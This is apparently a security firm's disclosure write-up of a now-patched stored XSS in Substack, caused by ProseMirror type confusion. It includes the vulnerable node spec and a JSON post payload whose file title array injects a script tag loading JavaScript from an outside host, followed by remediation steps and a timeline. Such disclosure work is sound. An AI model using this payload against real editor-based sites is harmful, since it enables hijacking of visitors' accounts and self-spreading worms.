We found a stored Cross-Site Scripting (XSS) vulnerability in Substack. We could publish posts containing arbitrary JavaScript. When Substack users view our posts, our Javascript payload would be executed in the origin of https://substack.com.
We developed a proof-of-concept (PoC) that posted a new note to a victim’s Substack account, when they visited a crafted blog post of ours. The note read “but most of all, samy is my hero”, as a tribute to the great hacker Samy Kamkar. The PoC required no user intervention, and could be turned into a worm.
The vulnerability was caused by a type confusion issue in ProseMirror that we disclosed recently. Substack uses TipTap, which is based on ProseMirror. Substack mitigated the issue by upgrading ProseMirror and TipTap.
If you use ProseMirror or TipTap, we recommend upgrading to ProseMirror 1.22.1 and TipTap 2.5.6 or newer.
Technical details
Please read our blog post on ProseMirror’s type confusion attacks to understand the vulnerability concepts.
Substack allows users to attach files to posts. Each file has a name and a title. We discovered that we could inject Javascript into these attributes. More specially, Substack’s file node spec in this JavaScript file was vulnerable to our type confusion attack, via the node.attrs.title or node.attrs.filename property.
The simplified node spec with the vulnerable toDOM code is shown as below:
attrs: {
filename: {
default: null
},
…
title: {
default: null
}
},
toDOM: e => {
const n = ["div", {
class: "file-embed-wrapper",
"data-component-name": "FileToDOM"
},
["div", {
class: "file-embed-container-reader"
},
["div", {
class: "file-embed-container-top"
},
["image", {
class: …
}],
["div", {
class: "file-embed-details"
},
["div", {
class: "file-embed-details-h1"
}, e.attrs.title || e.attrs.filename || ""],
["div", {
class: "file-embed-details-h2"
}]
],
["a", {
class: "file-embed-button wide",
href: e.attrs[this.actionButtonAttr]
},
["span", {
class: "file-embed-button-text"
}, this.actionButtonText]
]
]
]
];
return …
}
When attaching files to a post, instead of passing a string value for the title property, we could pass an array, as follows:
{
"type": "doc",
"content": [
{
"type": "paragraph",
"content": [
{
"type": "text",
"text": "This is my first post."
}
]
},
{
"type": "file",
"attrs": {
"filename": "sample.pdf",
"filetype": "application/pdf",
"filesize": 18810,
"href": "https://khanhcalif.substack.com/f/883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
"title": [
"script",
{
"src": "https://static.staticsave.com/khanh/alert.js"
},
"testxss"
],
"description": null,
"thumbnail": null,
"fileKey": "883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
"dirty": true,
"raw_href": "https://khanhcalif.substack.com/api/v1/file/883bd5c8-717c-42cd-a048-f13c51072ddd.pdf",
"error": null,
"empty": false
}
},
{
"type": "paragraph"
}
]
}
Due to the lack of content security policy, Substack would load and execute our JavaScript payload in the origin of https://substack.com.
Recommendations
If you use ProseMirror or TipTap, we recommend taking the following actions:
Upgrade to ProseMirror 1.22.1 and TipTap 2.5.6 or higher.
Review node and mark specs to address the type confusion attack vector.
Add a strict content security policy to reduce the impact of XSS.
Timeline
July 14, 2024: ProseMirror maintainers were notified of the type confusion issue.
July 14, 2024: ProseMirror released version 1.22.1 and published a security guide.
July 16, 2024: Calif disclosed the type confusion attack vector in ProseMirror.
July 17, 2024: Calif discovered the XSS issue in Substack.
July 22, 2024: Calif reported the XSS to security@substackinc.com.
July 22, 2024: Substack acknowledged and said they were working on a patch.
July 24, 2024: TipTap released version 2.5.6 referencing the ProseMirror XSS.
July 31, 2024: Calif asked Substack for an update. We got no response. The vulnerability was still exploitable.
August 5, 2024: A friend gave us the email of a co-founder of Substack. We emailed this co-founder the vulnerability details, including a proof-of-concept. We got no response. The vulnerability was still exploitable.
August 9, 2024: Calif found that Substack seemed to upgrade to the latest version of TipTap, which includes the latest version of ProseMirror. The vulnerability is no longer unexploitable.
August 9, 2024: Calif emailed security@substackinc.com and the co-founder, sharing that the vulnerability was mitigated, and our intention to disclose it.
August 12, 2024: Substack finally confirmed that they upgraded ProseMirror and TipTap versions to mitigate the issue.
About Calif
Calif is a fast growing security consultancy founded by world-class experts from Google. Our client portfolio includes Google, SnapChat, Anthropic, and Let’s Encrypt. Our team consists of award-winning hackers and engineers, specializing in red teaming and security engineering.
Contact us at help@calif.io if you want us to find bugs like this in your apps.